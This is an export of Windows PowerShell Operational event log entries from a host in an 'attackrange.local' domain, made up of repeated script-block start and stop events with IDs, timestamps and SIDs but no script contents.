RecordNumber=2034486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034474
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034473
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034468
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034467
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034463
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034458
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034457
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034443
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034442
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034441
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034440
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034435
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034434
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034433
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
